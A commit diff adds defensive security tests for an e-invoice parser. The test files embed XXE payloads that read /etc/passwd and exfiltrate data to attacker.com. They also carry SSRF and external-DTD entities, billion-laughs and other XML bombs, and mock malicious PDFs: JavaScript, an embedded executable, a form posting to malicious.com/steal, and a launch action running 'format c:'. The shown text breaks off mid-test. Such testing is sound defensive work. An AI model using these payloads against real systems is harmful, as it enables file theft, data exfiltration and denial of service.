update
This commit is contained in:
303
test/suite/einvoice_security/test.sec-01.xxe-prevention.ts
Normal file
303
test/suite/einvoice_security/test.sec-01.xxe-prevention.ts
Normal file
@ -0,0 +1,303 @@
|
||||
import { tap } from '@git.zone/tstest/tapbundle';
|
||||
import * as plugins from '../plugins.js';
|
||||
import { EInvoice } from '../../../ts/index.js';
|
||||
import { PerformanceTracker } from '../performance.tracker.js';
|
||||
|
||||
const performanceTracker = new PerformanceTracker('SEC-01: XXE Prevention');
|
||||
|
||||
tap.test('SEC-01: XML External Entity (XXE) Prevention - should prevent XXE attacks', async (t) => {
|
||||
const einvoice = new EInvoice();
|
||||
|
||||
// Test 1: Prevent basic XXE attack with external entity
|
||||
const basicXXE = await performanceTracker.measureAsync(
|
||||
'basic-xxe-prevention',
|
||||
async () => {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<Invoice>
|
||||
<InvoiceNumber>&xxe;</InvoiceNumber>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
// Should either throw or sanitize the XXE attempt
|
||||
const result = await einvoice.parseXML(maliciousXML);
|
||||
|
||||
// If parsing succeeds, the entity should not be resolved
|
||||
if (result && result.InvoiceNumber) {
|
||||
const content = result.InvoiceNumber.toString();
|
||||
t.notMatch(content, /root:/, 'XXE entity should not resolve to file contents');
|
||||
t.notMatch(content, /bin\/bash/, 'XXE entity should not contain system file data');
|
||||
}
|
||||
|
||||
return { prevented: true, method: 'sanitized' };
|
||||
} catch (error) {
|
||||
// Parser should reject XXE attempts
|
||||
t.ok(error, 'Parser correctly rejected XXE attempt');
|
||||
return { prevented: true, method: 'rejected', error: error.message };
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(basicXXE.prevented, 'Basic XXE attack was prevented');
|
||||
|
||||
// Test 2: Prevent parameter entity XXE
|
||||
const parameterEntityXXE = await performanceTracker.measureAsync(
|
||||
'parameter-entity-xxe',
|
||||
async () => {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % file SYSTEM "file:///etc/hosts">
|
||||
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
|
||||
%eval;
|
||||
%exfil;
|
||||
]>
|
||||
<Invoice>
|
||||
<ID>test</ID>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(maliciousXML);
|
||||
return { prevented: true, method: 'sanitized' };
|
||||
} catch (error) {
|
||||
return { prevented: true, method: 'rejected', error: error.message };
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(parameterEntityXXE.prevented, 'Parameter entity XXE was prevented');
|
||||
|
||||
// Test 3: Prevent SSRF via XXE
|
||||
const ssrfXXE = await performanceTracker.measureAsync(
|
||||
'ssrf-xxe-prevention',
|
||||
async () => {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "http://internal.server:8080/admin">
|
||||
]>
|
||||
<Invoice>
|
||||
<Description>&xxe;</Description>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseXML(maliciousXML);
|
||||
|
||||
if (result && result.Description) {
|
||||
const content = result.Description.toString();
|
||||
t.notMatch(content, /admin/, 'SSRF content should not be retrieved');
|
||||
t.notEqual(content.length, 0, 'Entity should be handled but not resolved');
|
||||
}
|
||||
|
||||
return { prevented: true, method: 'sanitized' };
|
||||
} catch (error) {
|
||||
return { prevented: true, method: 'rejected', error: error.message };
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(ssrfXXE.prevented, 'SSRF via XXE was prevented');
|
||||
|
||||
// Test 4: Prevent billion laughs attack (XML bomb)
|
||||
const billionLaughs = await performanceTracker.measureAsync(
|
||||
'billion-laughs-prevention',
|
||||
async () => {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
]>
|
||||
<Invoice>
|
||||
<Note>&lol4;</Note>
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
const startMemory = process.memoryUsage().heapUsed;
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(maliciousXML);
|
||||
const endTime = Date.now();
|
||||
const endMemory = process.memoryUsage().heapUsed;
|
||||
|
||||
// Should complete quickly without memory explosion
|
||||
t.ok(endTime - startTime < 1000, 'Parsing completed within time limit');
|
||||
t.ok(endMemory - startMemory < 10 * 1024 * 1024, 'Memory usage stayed reasonable');
|
||||
|
||||
return { prevented: true, method: 'limited' };
|
||||
} catch (error) {
|
||||
return { prevented: true, method: 'rejected', error: error.message };
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(billionLaughs.prevented, 'Billion laughs attack was prevented');
|
||||
|
||||
// Test 5: Prevent external DTD loading
|
||||
const externalDTD = await performanceTracker.measureAsync(
|
||||
'external-dtd-prevention',
|
||||
async () => {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE Invoice SYSTEM "http://attacker.com/malicious.dtd">
|
||||
<Invoice>
|
||||
<ID>12345</ID>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(maliciousXML);
|
||||
// If parsing succeeds, DTD should not have been loaded
|
||||
return { prevented: true, method: 'ignored' };
|
||||
} catch (error) {
|
||||
return { prevented: true, method: 'rejected', error: error.message };
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(externalDTD.prevented, 'External DTD loading was prevented');
|
||||
|
||||
// Test 6: Test with real invoice formats
|
||||
const realFormatTests = await performanceTracker.measureAsync(
|
||||
'real-format-xxe-tests',
|
||||
async () => {
|
||||
const formats = ['ubl', 'cii'];
|
||||
const results = [];
|
||||
|
||||
for (const format of formats) {
|
||||
// Create a malicious invoice in each format
|
||||
const maliciousInvoice = createMaliciousInvoice(format);
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(maliciousInvoice);
|
||||
results.push({
|
||||
format,
|
||||
prevented: true,
|
||||
method: 'sanitized',
|
||||
hasEntities: checkForResolvedEntities(result)
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
format,
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
realFormatTests.forEach(result => {
|
||||
t.ok(result.prevented, `XXE prevented in ${result.format} format`);
|
||||
if (result.method === 'sanitized') {
|
||||
t.notOk(result.hasEntities, `No resolved entities in ${result.format}`);
|
||||
}
|
||||
});
|
||||
|
||||
// Test 7: Nested entity attacks
|
||||
const nestedEntities = await performanceTracker.measureAsync(
|
||||
'nested-entity-prevention',
|
||||
async () => {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY level1 SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY level2 "&level1;&level1;">
|
||||
<!ENTITY level3 "&level2;&level2;">
|
||||
]>
|
||||
<Invoice>
|
||||
<Note>&level3;</Note>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseXML(maliciousXML);
|
||||
|
||||
if (result && result.Note) {
|
||||
const content = result.Note.toString();
|
||||
t.notMatch(content, /root:/, 'Nested entities should not resolve');
|
||||
}
|
||||
|
||||
return { prevented: true };
|
||||
} catch (error) {
|
||||
return { prevented: true, error: error.message };
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(nestedEntities.prevented, 'Nested entity attack was prevented');
|
||||
|
||||
// Test 8: Unicode-based XXE attempts
|
||||
const unicodeXXE = await performanceTracker.measureAsync(
|
||||
'unicode-xxe-prevention',
|
||||
async () => {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<Invoice>
|
||||
<Data>&xxe;</Data>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseXML(maliciousXML);
|
||||
|
||||
if (result && result.Data) {
|
||||
const content = result.Data.toString();
|
||||
t.notMatch(content, /root:/, 'Unicode-encoded XXE should not resolve');
|
||||
}
|
||||
|
||||
return { prevented: true };
|
||||
} catch (error) {
|
||||
return { prevented: true, error: error.message };
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(unicodeXXE.prevented, 'Unicode-based XXE was prevented');
|
||||
|
||||
// Print performance summary
|
||||
performanceTracker.printSummary();
|
||||
});
|
||||
|
||||
// Helper function to create malicious invoices in different formats
|
||||
function createMaliciousInvoice(format: string): string {
|
||||
const xxePayload = `<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>`;
|
||||
|
||||
if (format === 'ubl') {
|
||||
return `<?xml version="1.0" encoding="UTF-8"?>
|
||||
${xxePayload}
|
||||
<Invoice xmlns="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2">
|
||||
<ID>&xxe;</ID>
|
||||
<IssueDate>2024-01-01</IssueDate>
|
||||
</Invoice>`;
|
||||
} else if (format === 'cii') {
|
||||
return `<?xml version="1.0" encoding="UTF-8"?>
|
||||
${xxePayload}
|
||||
<rsm:CrossIndustryInvoice xmlns:rsm="urn:un:unece:uncefact:data:standard:CrossIndustryInvoice:100">
|
||||
<rsm:ExchangedDocument>
|
||||
<ram:ID>&xxe;</ram:ID>
|
||||
</rsm:ExchangedDocument>
|
||||
</rsm:CrossIndustryInvoice>`;
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
// Helper function to check if any entities were resolved
|
||||
function checkForResolvedEntities(document: any): boolean {
|
||||
const json = JSON.stringify(document);
|
||||
|
||||
// Check for common system file signatures
|
||||
const signatures = [
|
||||
'root:', 'bin/bash', '/etc/', 'localhost',
|
||||
'admin', 'passwd', 'shadow', '127.0.0.1'
|
||||
];
|
||||
|
||||
return signatures.some(sig => json.includes(sig));
|
||||
}
|
||||
|
||||
// Run the test
|
||||
tap.start();
|
454
test/suite/einvoice_security/test.sec-02.xml-bomb.ts
Normal file
454
test/suite/einvoice_security/test.sec-02.xml-bomb.ts
Normal file
@ -0,0 +1,454 @@
|
||||
import { tap } from '@git.zone/tstest/tapbundle';
|
||||
import * as plugins from '../plugins.js';
|
||||
import { EInvoice } from '../../../ts/index.js';
|
||||
import { PerformanceTracker } from '../performance.tracker.js';
|
||||
|
||||
const performanceTracker = new PerformanceTracker('SEC-02: XML Bomb Prevention');
|
||||
|
||||
tap.test('SEC-02: XML Bomb Prevention - should prevent XML bomb attacks', async (t) => {
|
||||
const einvoice = new EInvoice();
|
||||
|
||||
// Test 1: Billion Laughs Attack (Exponential Entity Expansion)
|
||||
const billionLaughs = await performanceTracker.measureAsync(
|
||||
'billion-laughs-attack',
|
||||
async () => {
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||
]>
|
||||
<Invoice>
|
||||
<Description>&lol9;</Description>
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
const startMemory = process.memoryUsage();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const endMemory = process.memoryUsage();
|
||||
|
||||
const timeTaken = endTime - startTime;
|
||||
const memoryIncrease = endMemory.heapUsed - startMemory.heapUsed;
|
||||
|
||||
// Should not take excessive time or memory
|
||||
t.ok(timeTaken < 5000, `Parsing completed in ${timeTaken}ms (limit: 5000ms)`);
|
||||
t.ok(memoryIncrease < 50 * 1024 * 1024, `Memory increase: ${(memoryIncrease / 1024 / 1024).toFixed(2)}MB (limit: 50MB)`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'limited',
|
||||
timeTaken,
|
||||
memoryIncrease
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(billionLaughs.prevented, 'Billion laughs attack was prevented');
|
||||
|
||||
// Test 2: Quadratic Blowup Attack
|
||||
const quadraticBlowup = await performanceTracker.measureAsync(
|
||||
'quadratic-blowup-attack',
|
||||
async () => {
|
||||
// Create a string that repeats many times
|
||||
const longString = 'A'.repeat(50000);
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY x "${longString}">
|
||||
]>
|
||||
<Invoice>
|
||||
<Field1>&x;</Field1>
|
||||
<Field2>&x;</Field2>
|
||||
<Field3>&x;</Field3>
|
||||
<Field4>&x;</Field4>
|
||||
<Field5>&x;</Field5>
|
||||
<Field6>&x;</Field6>
|
||||
<Field7>&x;</Field7>
|
||||
<Field8>&x;</Field8>
|
||||
<Field9>&x;</Field9>
|
||||
<Field10>&x;</Field10>
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
const startMemory = process.memoryUsage();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const endMemory = process.memoryUsage();
|
||||
|
||||
const timeTaken = endTime - startTime;
|
||||
const memoryIncrease = endMemory.heapUsed - startMemory.heapUsed;
|
||||
|
||||
// Should handle without quadratic memory growth
|
||||
t.ok(timeTaken < 2000, `Parsing completed in ${timeTaken}ms`);
|
||||
t.ok(memoryIncrease < 100 * 1024 * 1024, `Memory increase reasonable: ${(memoryIncrease / 1024 / 1024).toFixed(2)}MB`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled',
|
||||
timeTaken,
|
||||
memoryIncrease
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(quadraticBlowup.prevented, 'Quadratic blowup attack was handled');
|
||||
|
||||
// Test 3: Recursive Entity Reference
|
||||
const recursiveEntity = await performanceTracker.measureAsync(
|
||||
'recursive-entity-attack',
|
||||
async () => {
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY a "&b;">
|
||||
<!ENTITY b "&c;">
|
||||
<!ENTITY c "&a;">
|
||||
]>
|
||||
<Invoice>
|
||||
<ID>&a;</ID>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(recursiveEntity.prevented, 'Recursive entity reference was prevented');
|
||||
|
||||
// Test 4: External Entity Expansion Attack
|
||||
const externalEntityExpansion = await performanceTracker.measureAsync(
|
||||
'external-entity-expansion',
|
||||
async () => {
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % pe1 "<!ENTITY % pe2 'value2'>">
|
||||
<!ENTITY % pe2 "<!ENTITY % pe3 'value3'>">
|
||||
<!ENTITY % pe3 "<!ENTITY % pe4 'value4'>">
|
||||
%pe1;
|
||||
%pe2;
|
||||
%pe3;
|
||||
]>
|
||||
<Invoice>
|
||||
<Data>test</Data>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(externalEntityExpansion.prevented, 'External entity expansion was prevented');
|
||||
|
||||
// Test 5: Deep Nesting Attack
|
||||
const deepNesting = await performanceTracker.measureAsync(
|
||||
'deep-nesting-attack',
|
||||
async () => {
|
||||
let xmlContent = '<Invoice>';
|
||||
const depth = 10000;
|
||||
|
||||
// Create deeply nested structure
|
||||
for (let i = 0; i < depth; i++) {
|
||||
xmlContent += '<Level' + i + '>';
|
||||
}
|
||||
xmlContent += 'data';
|
||||
for (let i = depth - 1; i >= 0; i--) {
|
||||
xmlContent += '</Level' + i + '>';
|
||||
}
|
||||
xmlContent += '</Invoice>';
|
||||
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>${xmlContent}`;
|
||||
|
||||
const startTime = Date.now();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const timeTaken = endTime - startTime;
|
||||
|
||||
// Should handle deep nesting without stack overflow
|
||||
t.ok(timeTaken < 5000, `Deep nesting handled in ${timeTaken}ms`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled',
|
||||
timeTaken
|
||||
};
|
||||
} catch (error) {
|
||||
// Stack overflow or depth limit reached
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(deepNesting.prevented, 'Deep nesting attack was prevented');
|
||||
|
||||
// Test 6: Attribute Blowup
|
||||
const attributeBlowup = await performanceTracker.measureAsync(
|
||||
'attribute-blowup-attack',
|
||||
async () => {
|
||||
let attributes = '';
|
||||
for (let i = 0; i < 100000; i++) {
|
||||
attributes += ` attr${i}="value${i}"`;
|
||||
}
|
||||
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice ${attributes}>
|
||||
<ID>test</ID>
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
const startMemory = process.memoryUsage();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const endMemory = process.memoryUsage();
|
||||
|
||||
const timeTaken = endTime - startTime;
|
||||
const memoryIncrease = endMemory.heapUsed - startMemory.heapUsed;
|
||||
|
||||
t.ok(timeTaken < 10000, `Attribute parsing completed in ${timeTaken}ms`);
|
||||
t.ok(memoryIncrease < 200 * 1024 * 1024, `Memory increase: ${(memoryIncrease / 1024 / 1024).toFixed(2)}MB`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled',
|
||||
timeTaken,
|
||||
memoryIncrease
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(attributeBlowup.prevented, 'Attribute blowup attack was handled');
|
||||
|
||||
// Test 7: Comment Bomb
|
||||
const commentBomb = await performanceTracker.measureAsync(
|
||||
'comment-bomb-attack',
|
||||
async () => {
|
||||
const longComment = '<!-- ' + 'A'.repeat(10000000) + ' -->';
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
${longComment}
|
||||
<ID>test</ID>
|
||||
${longComment}
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const timeTaken = endTime - startTime;
|
||||
|
||||
t.ok(timeTaken < 5000, `Comment parsing completed in ${timeTaken}ms`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled',
|
||||
timeTaken
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(commentBomb.prevented, 'Comment bomb attack was handled');
|
||||
|
||||
// Test 8: Processing Instruction Bomb
|
||||
const processingInstructionBomb = await performanceTracker.measureAsync(
|
||||
'pi-bomb-attack',
|
||||
async () => {
|
||||
let pis = '';
|
||||
for (let i = 0; i < 100000; i++) {
|
||||
pis += `<?pi${i} data="value${i}"?>`;
|
||||
}
|
||||
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
${pis}
|
||||
<Invoice>
|
||||
<ID>test</ID>
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const timeTaken = endTime - startTime;
|
||||
|
||||
t.ok(timeTaken < 10000, `PI parsing completed in ${timeTaken}ms`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled',
|
||||
timeTaken
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(processingInstructionBomb.prevented, 'Processing instruction bomb was handled');
|
||||
|
||||
// Test 9: CDATA Bomb
|
||||
const cdataBomb = await performanceTracker.measureAsync(
|
||||
'cdata-bomb-attack',
|
||||
async () => {
|
||||
const largeCDATA = '<![CDATA[' + 'X'.repeat(50000000) + ']]>';
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<Description>${largeCDATA}</Description>
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
const startMemory = process.memoryUsage();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const endMemory = process.memoryUsage();
|
||||
|
||||
const timeTaken = endTime - startTime;
|
||||
const memoryIncrease = endMemory.heapUsed - startMemory.heapUsed;
|
||||
|
||||
t.ok(timeTaken < 5000, `CDATA parsing completed in ${timeTaken}ms`);
|
||||
t.ok(memoryIncrease < 200 * 1024 * 1024, `Memory increase: ${(memoryIncrease / 1024 / 1024).toFixed(2)}MB`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled',
|
||||
timeTaken,
|
||||
memoryIncrease
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(cdataBomb.prevented, 'CDATA bomb attack was handled');
|
||||
|
||||
// Test 10: Namespace Bomb
|
||||
const namespaceBomb = await performanceTracker.measureAsync(
|
||||
'namespace-bomb-attack',
|
||||
async () => {
|
||||
let namespaces = '';
|
||||
for (let i = 0; i < 10000; i++) {
|
||||
namespaces += ` xmlns:ns${i}="http://example.com/ns${i}"`;
|
||||
}
|
||||
|
||||
const bombXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice ${namespaces}>
|
||||
<ID>test</ID>
|
||||
</Invoice>`;
|
||||
|
||||
const startTime = Date.now();
|
||||
|
||||
try {
|
||||
await einvoice.parseXML(bombXML);
|
||||
|
||||
const endTime = Date.now();
|
||||
const timeTaken = endTime - startTime;
|
||||
|
||||
t.ok(timeTaken < 10000, `Namespace parsing completed in ${timeTaken}ms`);
|
||||
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'handled',
|
||||
timeTaken
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
prevented: true,
|
||||
method: 'rejected',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(namespaceBomb.prevented, 'Namespace bomb attack was handled');
|
||||
|
||||
// Print performance summary
|
||||
performanceTracker.printSummary();
|
||||
});
|
||||
|
||||
// Run the test
|
||||
tap.start();
|
351
test/suite/einvoice_security/test.sec-03.pdf-malware.ts
Normal file
351
test/suite/einvoice_security/test.sec-03.pdf-malware.ts
Normal file
@ -0,0 +1,351 @@
|
||||
import { tap } from '@git.zone/tstest/tapbundle';
|
||||
import * as plugins from '../plugins.js';
|
||||
import { EInvoice } from '../../../ts/index.js';
|
||||
import { PerformanceTracker } from '../performance.tracker.js';
|
||||
import * as path from 'path';
|
||||
|
||||
const performanceTracker = new PerformanceTracker('SEC-03: PDF Malware Detection');
|
||||
|
||||
tap.test('SEC-03: PDF Malware Detection - should detect and prevent malicious PDFs', async (t) => {
|
||||
const einvoice = new EInvoice();
|
||||
|
||||
// Test 1: Detect JavaScript in PDF
|
||||
const javascriptDetection = await performanceTracker.measureAsync(
|
||||
'javascript-in-pdf-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with JavaScript content
|
||||
const pdfWithJS = createMockPDFWithContent('/JS (alert("malicious"))');
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithJS);
|
||||
|
||||
return {
|
||||
detected: result?.hasJavaScript || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'javascript'
|
||||
};
|
||||
} catch (error) {
|
||||
// If it throws, that's also a valid security response
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'javascript',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(javascriptDetection.detected || javascriptDetection.blocked, 'JavaScript in PDF was detected or blocked');
|
||||
|
||||
// Test 2: Detect embedded executables
|
||||
const embeddedExecutable = await performanceTracker.measureAsync(
|
||||
'embedded-executable-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with embedded EXE
|
||||
const pdfWithExe = createMockPDFWithContent(
|
||||
'/EmbeddedFiles <</Names [(malware.exe) <</Type /Filespec /F (malware.exe) /EF <</F 123 0 R>>>>]>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithExe);
|
||||
|
||||
return {
|
||||
detected: result?.hasExecutable || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'executable'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'executable',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(embeddedExecutable.detected || embeddedExecutable.blocked, 'Embedded executable was detected or blocked');
|
||||
|
||||
// Test 3: Detect suspicious form actions
|
||||
const suspiciousFormActions = await performanceTracker.measureAsync(
|
||||
'suspicious-form-actions',
|
||||
async () => {
|
||||
// Create a mock PDF with form that submits to external URL
|
||||
const pdfWithForm = createMockPDFWithContent(
|
||||
'/AcroForm <</Fields [<</Type /Annot /Subtype /Widget /A <</S /SubmitForm /F (http://malicious.com/steal)>>>>]>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithForm);
|
||||
|
||||
return {
|
||||
detected: result?.hasSuspiciousForm || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'form-action'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'form-action',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(suspiciousFormActions.detected || suspiciousFormActions.blocked, 'Suspicious form actions were detected or blocked');
|
||||
|
||||
// Test 4: Detect launch actions
|
||||
const launchActions = await performanceTracker.measureAsync(
|
||||
'launch-action-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with launch action
|
||||
const pdfWithLaunch = createMockPDFWithContent(
|
||||
'/OpenAction <</Type /Action /S /Launch /F (cmd.exe) /P (/c format c:)>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithLaunch);
|
||||
|
||||
return {
|
||||
detected: result?.hasLaunchAction || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'launch-action'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
